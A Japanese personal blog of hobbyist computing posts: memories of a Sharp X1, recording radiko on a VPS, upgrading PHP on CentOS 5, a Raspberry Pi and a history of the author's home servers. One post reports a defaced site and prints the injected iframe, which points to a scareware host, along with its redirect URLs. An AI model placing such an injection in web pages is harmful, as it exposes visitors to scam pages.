SHARP パソコンテレビX1の思い出

私の初のマイパソコン(マイコン?)はSHARPのX1(エックスワン)でした。
ワインレッドのバリバリの初期型でした。
親としては最新のものを買ってやったという満足感を得たでしょうが、
じつはコレジャナイ感が大きかったんですよね。
実はPC8001というNECのパソコンが欲しかったのですよ。

思えば、親の良かれが、子供のほしいもの、とのギャップがかなり大きかった時代です。
ちなみに団塊ジュニアです。

このX1ですが、テープドライブのベルトがとても弱く、それはそれはよくはずれました。
はっきり言って欠陥商品だったと思います。
そして修理に出すと何週間も帰ってこない・・・。ひどい時代でしたね。

一番良く使ったのはディスプレイでしょうか w テレビになりましたからね。
ところがこのディスプレイが突然壊れました。
ガガガーーーーとものすごい音を立て、見たこともないような砂嵐が表示されていました。
恐怖でコンセントを抜き廃棄しました。

本体部分はついつい近年まで置いてあったのですが、久しぶりに見るとキーボードのケーブルがボロッボロに朽ち果てていたため捨てました。

今思うと惜しかったかなあ、と思います。世の中の人はケーブルは修理して使ったりしているみたいですね。

残念ながら写真が一枚もありません・・・。捨てたのはいつだったかなあ?

画像検索で見つけたものを・・・

ひや?懐かしいです。

当時としては最新だったのですが、大人が遊ぶには良かったかもしれませんが、
パソコンというもので地味に遊びたかっただけだったので、多分PC8001のほうが良かったと思いますね。

X1は最新なのに、できないことが結構あったんです。
今思うとそれぐらい、と思いますが、結構細かいところまで研究してたつもりだったので、えー、という感じでした。

個人的に残念だった点をあげます。

すぐにBasicを使うことできない

当時は珍しいクリーンコンピュータで基本ソフトであったBasicもソフトでの提供でした。
今ではすっかりそれがデフォルトになりましたので、最先端だったことは確かです。
でも当時の時代背景でこれは使いづらさしかありませんでした。Basicの更新が頻繁にあったわけじゃないですしね。

キーの同時押しができない

やっぱりパソコンではゲームをやりたかった。
なので、同時押しができないのは致命的だったんですよ。
当時パソコンショップの展示PCでinpコマンドで同時入力を試して、いいなあ?、と思ったりしていました・・・。
(確か富士通のPCもたいてい同時入力NGでした。ツメが甘いですね!)

縦方向の解像度の変更ができない

今ではどんなパソコンでも普通にできる解像度変換ですが、
X1は横解像度の40文字x8ドット または 80文字x8ドット しか選べませんでした。
縦は8ドットx25行の固定でした。
X1にはconsoleというコマンドで表示域を制限することはできましたから、
同じような動作を表現することはできましたが解像度を変えられないというのがなんか劣って感じましたね。
PC8001では結構自由に解像度を変えることができました。だからちょっと大きめにキャラを表示できたんですね。
それだけといえばそれだけですが、やっぱり羨ましかったです。

キャラクタが違う

正確に言えばX1にはPCG定義という機能がありましたので、自由自在にキャラクタを作ることができました。
ですがデフォルトのキャラクターが微妙に違うんですよね。
特許でも取られていたのでしょうかね。おなじ絵(アスキーアートのようなもの)を書こうとすると・・・できない。

後日PC8001とキャラクタ定義を同じにするソフトが確かBasicマガジンに公開されてすぐに入力したような気がします。
とても嬉しかったですね^^

また気が向いたら続きを書いてみようと思います。

Radiko(ラジコ)の録音の話

DTIのServersmanを借りたら、Radiko(ラジコ)の録音をする、と言うのは結構メジャーですね。
ラジコはWindows版の録音ソフトもあるのですが、
それだとずっとPCをつけておかないといけないですよね。
その点、VPSであれば、ずっと起動していますので都合が良いです。
検索すると録音スクリプトを公開されている方がたくさんいます。
何回か修正があって古いスクリプトだと録音できなくなっていますので、ソースファイルでも載せておこうかな?
ラジコの録音ファイルはflvというフラッシュの形式で取得できます。
そこからaacという形式の音声ファイルを抜き出します。
実は以前はこれをmp3に変換していたのですが、128kbpsで音質が変わらないのにファイルサイズが4倍位になってしまっていたので
途中からaacファイルそのままにしました。
2時間番組で約44メガくらいです。驚異的な圧縮率だと思います。
聞いてみるとわかりますが、かなりの高音質なんですよ。

私は更に少し手を加えて録音済みファイルをWebサーバーで公開するようにしています。
とはいえ、もちろん、自分だけの視聴ですよ。
なんでそうしているかというと、スマホのブラウザでそのまま聞くことができるからです。すごく便利ですよ!
ラジオって毎日かなり長時間放送しているのですよね・・・。
そして、毎日同じ番組を放送しています。
それを毎日録音していると、あっという間にすごい量になります 汗
あと、例えば3時間番組だと、3時間すぎないと聞くことができません。
いわゆる追いかけ再生はできないので、そういうところは不便です。
そこでどうしたか・・・。
2重録音状態にして、子刻みで録音してみました。
つまり「らじおと」だと、

8:30?17分間
8:58?43分間
9:42?18分間
10:00?40分間
10:39?20分間

という具合に・・・。
これはじめは良かったんですが、
一度聞きそびれるとどんどん溜まっていってしまいます。
そして、最終的に・・・・
昨日ごっそり削除しました^^;
10GBほどディスクが空きました・・・。

DTIのVPSをリカバリしたい(1)

DTIのVPSのServersmanはもう5年も使っているのですが、どうも調子が悪くなってきているような気がします。

エントリーコースですので、そもそもスペックが低いというのもあるかと思うのですが、
CentOSが当初のままの5(5.11)なんですよね。
もうサポートも切れていますし、公式からはダウンロードもできません。

PHP7も試したいですし、さくっとCentOS6にアップしたいところですが、
そのためには初期化せねばなりません。

初期化・・・いきなりやってしまうと色々困ることになりそうです。

radikoの録音環境

私のVPSはラジコ録音機と化しています 汗
環境の再構築自体は難しくないと思うのですが、いかんせん録音ファイルが・・・。
かなりディスクを圧迫しています。

録音している番組一例

  • 大竹まことのゴールデンラジオ
  • 伊集院光のらじおと
  • 伊集院光の深夜の馬鹿力
  • 槇原敬之のWho
  • perfumeのLocks(番組の一部だけど・・・)
  • おぎやはぎのメガネびいき
  • マナナマンのバナナムーン

などなど・・・
これを消しちゃうわけに生きません!

svn環境

開発ファイルなど結構重要なものがすべて入ってます。
今時はGitなのですが、やはり使い慣れたSVNのほうが安心だったり・・・。
どうせ一人でしか使わないので、大差ないでしょう。

というわけで、これも消せません!

webmin

アタックをうけてsshログインできなくなったときなどなにげに活躍してくれたWebminです。
これって・・・どこから持ってきたんだっけな・・・。
たしかあるバージョンから日本語化がなくなって、日本語化できる最新版にしてるんだった・・・。
これって復旧難しいかも。
RPMで入れたような・・・

rpmファイルの保存

というわけで、何かの際に必要になってダウンロードしたりしたrpmファイルを保管しとかないと!

iptable hosts.allow hosts.deny とかの設定

これ結構悩んだような。
こういう設定は保管しておかないと困ることに!

webサーバ

これは思い切ってnginxに移行したい。
そういえば、htaccessとかってnginxではどうするのかなあ・・・?

とまあ、結構色々心配です。
で、ちょっと思いついたのが、
こっちに同じような環境を作ってみる
ってことです。

つまり、VmwareでCentOS5をインストールして、ほぼ同じような環境を作れた段階で初期化する、
ということです。

これなら多少安心かも。
膨大な録音ファイルも光回線だから速いよね、きっと・・・

というわけでコピー環境を作っていこうと思っています。

では!

DTIのVPSのCentOS5でPHPを5.1.6→5.3にアップするのに苦労

本日ワードプレスのテーマを変えてみようといろいろ試していて、
DTIのVPSのServersmanのPHPがちょっと古くて5.2だったことに気が付きました。
適用しようとするテーマが5.3以上で、って書いてあったのですが、エイヤッとインストールすると、
なんとワードプレスが起動不能になりました・・・。これちょっと問題ですね・・・。

データそのものはmysqlにDBとして残っているはず。。。ということで思い切って削除して再びインストールしました。
結果、大丈夫でした。
DBさえあれば、新規インストールのワードプレスでも全部の記事が生き返ります。

でもなんとか5.3にしてテーマを適用しようと思ったのですが、
簡単にPHPをアップグレードできると思ったのですが、ちょっと甘かったです。

yum install php

としても5.1.6が最新だ、と出てしまいます。
5.3以上のインストール方法を探しても、なかなか出てきませんでした。
というのも既に5.3でも結構古く、いまはphp7の時代になっていました 汗
しかもCentOSは5・・・!サポート切れ 冷汗
それでも、当時アップグレードしたらしき方のメモを見つけ、

CentOS5.11にPHP5.6をインストール
http://www.maruweb.jp.net/wp/?p=2401

やってみるも・・・
なぜかインストールできず。
一度消せばいいのか?と

yum remove php

のあとインストールすると・・・なんと5.1.6に・・・。まさかのダウングレード 笑

こんなのも試してみました

yum install php53 php53-devel php53-common php53-mbstring php53-mysql

ところがエラーになってしまいます。依存関係が・・とかなんとか・・・。
そこで一旦落ち着くために散歩へ・・・笑

その後で一旦ターミナルを落として、

アンインストール

yum install php53 php53-devel php53-common php53-mbstring php53-mysql

で、何故か今度は入りました!ヤッター!!

これでなんとか5.3以上が必須のテーマも動きました。

ところでなんで5.6じゃないの?って思いますよね・・。ダメでした。
CentOS5が古いんじゃないかな・・・?

本当はPHP7だとかなり高速になったらしいので
PHP7にしたいのですが、これはCentOS6以上じゃないとダメです。
CentOS6にするには・・・VPSをいちど初期化しないとダメだそうです・・・えー。

とりあえずしばらくはこの環境で行くとしても、近いうちにOSをアップグレードしたほうが良さそうです。

でもいきなりフォーマットなんてできないので、ちょっと方法を考えようと思います。

サーバー履歴(5 rasberryPiの衝撃

VPSはたしかに面白いですが、結局はレンタルだし、永遠に月額を払っていかなければなりません。
永遠に自分のものにはなりませんね・・・。
一時期興味があったのもの結局買かわなかったものがありました。
玄箱(クロバコ)です。
これは、本来は単なる外付けHDDにLanを装備したものでした。
中に制御するためのチップがはいっていて、なんとHDDにLinuxをインストールできるということでした。
正にサーバーとして稼働することを目的に、大流行したと思います。
新品は結構高かったように記憶しています。
同じような(同じ?)形をしたバッファロー(旧メルコ・・・懐かしいですね)の殻だけをオークションで売っていたりしました。
購入しようか何度か悩みましたが、結局やめました。
というのも、あまりスペック的には良くないらしく、
当時勉強していたサーブレットなどはちょっと厳しい、ということだったのです。
他メーカーが対抗した白箱(シロバコ)なんてものもあったように記憶しています。
たしかに魅力的でした。
IOT(モノのインターネット)のはしりだったのかもしれませんね。

古いPCなども取ってありましたので、これをいつかサーバーに・・、とも考えていました。
でも、物持ちの良い私でも、もうこれらの古いPCをぶち捨てよう、と思った衝撃の製品があります。
残念ながらきっかけは忘れてしまったのですが、それこそがRaspberryPiです。
相当な省電力で動く、IC基盤のようなもの・・・、だと思いました。
Linuxは当然、ゴニョゴニョするとゲーム機のようにもなり、PSぐらいならまともに動いてしまうと言うことでした。
しかも・・・やすい!約5000円で、夢が広がる、広がる 笑
ですが、買おう買おう、と思いながらときは流れてしまいました。
そしたら、出ましたRapberryPi2!
なんと4コア。メモリもかなりのスペックアップ。価格は据え置き!買うしかないでしょ!

そんなわけでケース付きのラズパイ2をAmazonで購入しました。
・・・・!
全くの無音!無音サーバー!
使ってみてわかる万能感でした。
環境は簡単に別のSDカードにコピーできバックアップできます。Windowsの様なうるさいライセンスもないからね!
また、試してないけど、ゲームだけの環境を作ってSDを取っておけば、差し替えるだけで自由自在です。
そして何より、小さい、です。想像以上に小さいです。

存在意義を失う古いPC・・・というわけです。
捨てよう、と決心しました(実はまだ捨ててない・・・汗)

サーバー履歴(4 – VPSってなにそれ?スゴイ –

DTIの新サービスServersManはいわゆる格安VPSでした。
月額500円。
VPSはサーバーの間借りである点はレンタルサーバーと同じなのですが、
仮想的に1台のマシンを借りるのと同じイメージだったのです。
ルートが取れるので、どんなアプリでもインストールできる・・・
マシンを壊してしまったら(物理的に壊したらダメだけど)フォーマットしてやり直すこともできる・・・。
なにこれ?!すごくない??!!とすぐ契約しました。

このVPS実は後に単なるラジコ録音機となってしまいます・・・。

残念ながら少し遅いです。
いまはセキュリティの面からTelnetと言うよりSSHですが、
やろうと思えばTelnetもいけます。平文送信でちょっと、え・・、な感じですが。

少し遅い、と書きましたが、使い物ならないくらい重い時もあります。
SSHでViでも遅いと感じるほどです。
そういうわけで、
なんでもできることはできますが、サーブレットなどはちょっと厳しい感じです。
あまりいまどきサーブレットが必要というわけではないですが・・・。

radikoの録音も最近良くコケるようになりました。
通信が途切れてしまう感じですかね・・・。やはりスペック不足でしょうか。

サクラのVPSのほうが定評があるようですが、さくらのほうが高いです。

DTI さくら
事務手数料 0 1,080
月額 467 685
メモリ 1GB 512MB
容量 50GB 20GB

スペックはさくらのほうが低く見えますが、
さくらのほうが安定しているのでしょうかね。

メールは送信サーバーだけ立ててありますが、
一時期全く操作が受け付けなくなっていると思ったら、スパムに狙われて送信キューがいっぱいになっていました 汗
この時SSHは全く受け付けなかったので、
インストールしてあったWebminからログインしてプロセスをkillしました。危なかったです^^;

ところがkillしてもkillしてもすぐに来るので、
最終的にはiptableで日本国内からのアクセス以外を完全に遮断しました。

なかなかおもしろいおもちゃではあるのですが、
月額500円だと、解約してさくらインターネットをもう一つ契約したほうがいいかなあ、とも思えてきました。

さくらインターネットで放置してあったhtmlが改ざんされていたよ

2008年の春頃にあるアフィリエイト手法を購入しました。
しかし、サイト構築中に頓挫し放置してあったサイトが有りました。
久しぶりにどんなサイトだったか見てみようかと思ったところ、様子がおかしい・・・。

なんと改ざんされていました。

あの皆さんおなじみな
「あなたのPCのがウイルスに感染しています」
な広告が埋め込まれちゃっていました。ムカつく!!

埋め込まれたのは

2009/01/14
2008/11/08

でした。
こんなコードがテーブルに突っ込まれていました。

<TD>
<div align=”center”><iframe src=”http://nds.mydns.to/cgi?bin/infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=” marginwidth=”1” marginheight=”1” width=”200” height=”1400” border=”0” frameborder=”0” style=”border:none;” scrolling=”auto”><A href=http://nds.mydns.to/>info?get</a></iframe></div>
</TD>

これ、どんな改ざんだったかということを、ここに記入するだけでインラインフレームが機能してしまい
忌々しいダイアログが出てさしずめブラクラのようになってしまい苦労させられました。
そのためとりあえず全角に変換しました。
このコードを書いてしまうとブラウザを通した瞬間からカタコトの警告メッセージが語られ始めます・・・。

インラインフレームの内容はこれです。

http://nds.mydns.to/cgi?bin/infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=

これあまり試さないほうがいいとは思いますが、

http://nds.mydns.to/

にアクセスすると、たちまちリダイレクトされて

http://scifiregulatoroy.info/indexcr11.html (chrome)
http://scifiregulatoroy.info/indexfirefox.html (firefox)

に飛ばされます。FireFoxの場合404となって機能しないようです。

このmydns.toっていうのは、間違いなくmydnd.jpを真似て取得したんでしょうねえ・・・。
mydnd.jpの方はとても素晴らしいサービスです。とっても有名なDDNSですね。自作サーバーにドメインを設定したい場合は必須なサービスです。
それをこんなクソなことに使うなんて・・。

それにしてもこの広告ってものすごくはびこっていますが、儲かっているのでしょうか・・・?
いままでも時々出ることはありましたが、
自分のところにも埋め込まれてるってことは、その殆どが意図せずに埋め込まれてるってことなんですね。

これ引数が

infotop.cgi?id_i=31105&m=0&i=0&t=0&h=24&c=0&r=&cl=

になってるのが気になるのですが、
このインフォトップのクッキーが埋め込められているのでしょうかね。
そう思って調べてみたのですが、ID=31105 は埋め込められてませんでした。

随分前に改ざんされっぱなしで迂闊でした。
意外と簡単に改ざんされてしまうみたいなので、一旦確認したほうが良いですよ、というお話でした。

サーバー履歴(3

Windowsのようにどんどん洗練されていくLinuxをインストールしていじってみるのは面白いことです。
しかしいまいち、無料の劣化Windowsを試す、みたいなところを抜けない感じでした。

しかし、このあと、パラダイムシフトが起きます。

2005年頃ですかね、アフィリエイト、と言うものを知り少しずつ手を出していきました。
それで契約した「さくらインターネット」です。
このサーバーTelnetでの接続ができたんですよ。
Telnetで直接つなげて、HtmlやCGIを書いて、直接ブラウザでつなげることができました。

なるほど!こういうことか!とやっと理解ができました。遅い、ですよね ^^;

このさくらインターネットはWeb公開のためのレンタルサーバーでしたが、
Telnetで接続するとかなりいろんなことができるんです。
大げさじゃなく、レンタルサーバーというよりも、Linuxサーバーを借りてる、って感じでした。
今でも相当気に入っていて、すぐに年間契約に切り替えました。
はじめは10GBだった容量もいつの間にか100GBになってました。
これだけあるとかなり余裕があります。
このさくらインターネットと出会うことによって、CGIに凝るようになりました。
Telnetでログインして、CGIを書いて、すぐにブラウザで確認。
で、同時に公開されている・・・。
ということに妙に感動していました。
HPスペースというよりは、Linuxでしたので、メールを送るなんてことも簡単でした。
当時メルマガが流行っていたのですが、
まぐまぐは色々うるさいし、
メールマガジンスタンドは有料だし、
でさくらインターネットでメルマガソフトを作った人が居てかなり売れていました。
でも、やっぱり1サーバーでガンガン送ることはできないので、ゆっくりではありました。
そこで当時、複数契約してガンガン送るソフト、の開発に取り掛かったのですが・・・、頓挫してしまいました。
メルマガ送信に関する法律が整備されたり、メルマガノウハウが急速に収束していきました。
(その後逮捕者が出たという話は聞かないので、法律の実効性は不明です)

でも、開発のほうが面白くて、アフィリエイトはおざなりになっていきます。
あまり儲かりませんでしたし・・・。
ああすればこうすれば、という考えは浮かぶのですが、どうも開発の方に頭が偏っていってしまう。そんな感じでした。

そんなわけで世間ではエックスサーバーをすすめる声に反して、
断然さくらインターネット押しでしたね 笑
Telnetもできないのに月1000円のエックスサーバーって高くね?って思ってました。

しかしながらこのあともっと驚くものと出会います。

それは、DTIのServerSManです。

サーバー履歴(2

NECのMA30Hは稼働させつつも、知り合いから古いPCを譲り受けました。
富士通のFMV CIX35Lです。K6-2の350Mhzですね。インテルとAMDが抜きつ抜かれつしのぎを削っていました。
NECと同じような縦置きの省スペースでした。
このFMVがすごかった!
何しろSolaris9がふつーに動き、当時難関と言われたネットワークも普通につなげることができた!ことです。
もう完全にサーバーでした。
当時自分は勤め先でUnixをよく利用するようになっていました。
そしてLinuxよりもちょっとマヌケなSolarisのほうが好きでした。
メインPCの横において、時々TELNETしたり、ディスプレイもつなげてみたりしたり、
なにか高級サーバーをいじっているような感覚に酔いしれました 笑
でも当時はサーバーと言っても活用方法がわからず、コマンド実行の練習とかそんな感じでしたね。
このようにFMV CIX35Lはなかなか素晴らしかったのですが、いかんせん「音がうるさかった」です。
ファンの音がうるさかったんです。ここはNECとの品質の差を感じました。
よく見ると、NECはちゃんと静音ファンを使っているんです。富士通は・・・。コスト優先だったのかな。
FMVは徐々に起動しなくなっていきました。
音がうるさい=電力がかかってる、って感じるんですよね。
それでも無数にあるLinuxは楽しげなのでいろいろ試します。
主PCは当時話題になったAthronXP2500+と言うものでした。
クロックアップできるマザーを選んで3200+相当にできました。でも電力がかかるのが微妙だったので、一度試したあと定格で使っていました。
そのPCにマルチブートと言うかたちで、Ubuntuを入れていました。
ゲームをインストールして遊んだりしていました。相変わらずいまいち活用方法はわかりませんでしたが・・。
Windows代替OSみたいな感じで楽しんでいました。
CygwinでXを動かす方法などはやりました。
一度試しましたが、面白かったですが、いまいち活用方法がわからず・・・。
そんなことをしなくてもVmwareでLinuxをインストールして、Telnetで繋いでハッカーみたい!?とか言って喜んでました^^;
まだ、ここまでは、サーバーと言う感じではありません。
サーバーの魅力というのを感じるのはこのあとからですかね。

まだ続きます。

サーバー履歴(1

サーバー履歴を書いておこう。
ADSLのようなブロードバンドサービスが開始された頃からのPCユーザーの方はLinuxに興味を持った方も多いことでしょう。
今でこそ、LinuxはどんなPCにもインストールできますが、当時はまだまだ古めのハードではないとまともに動作させることが難しかったのです。そもそもXwindowが起動しないとか・・・。
自分は一番はじめのPCはNECのPC-98NX(VS-23D)と言うものでした。PentiumIIの233MHzです。骨董ですね。
いまのマックブックPROさながらPS2やISAポートなど古いインターフェースをバッサリ排除したPCでした。
大きな問題だったのは・・・キーボードすら認識しないことでした。当時はまだ新しかったUSBしかついていなかったのですから・・。
(実際にはPS2はついていますが、蓋がしてあって使えなくなっていました。穴を開ければ使えたらしいです)
ところがすごい人がいるもので、USBキーボードでインストールする方法を掲示板で公開してくれた方が居ました。
確かインストール開始時にオプション指定が必要だったのですが・・・。心当たりを探ってみたのですがメモがなくなっていました・・・。検索してもいまいち出てきません。もうこのPCにLINUXをインストールすることはできませんね・・・。

時は流れてGenoというネットショップでNECのMA30Hという省スペースPCはを中古で買いました。
確か4000円ぐらいでした。セレロンの300Mhzです^^;
おなじNECの後継機ですが、ちゃんとPS2も復活し、サーバーに良いのではと思ったのです。
同じGenoで333MHZのCPUを購入し交換も体験しました 笑
本当はファンレス化したかったのですが、333MHZに大きいヒートシンクがついてくると思ったのについてこず・・・諦めました。
しかし、しかし。このPCは結構聞き分けがよく、どんなLinuxでも普通にインストールできました。当時勤務先で使っていたSolarisも。正確には勤務先はSparcという専用機だったのですが、同じようなGUIがでるのは感動でした。
しかし、中古のゆえ・・・突然CDドライブが使えなくなってしまいました。一応ATAのケーブルを外出して何かをインストールすることはできましたが、かなり不便になってしまいました。
そのためこのPCはXPをインストールしてサブ機として重い作業をひたすらやらせるという用途になりました。スペックは低いのですが割りとタフだったイメージがあります。動かなくなってしまうとかそういうことがありませんでした。
NECのイメージが良くなりました。
NXでは、やられた?、と思ったのですが^^;
ファンの音も静かで、結構好きなPCでした。いまでもそばに飾ってあります 笑

長くなったので、記事を分けます。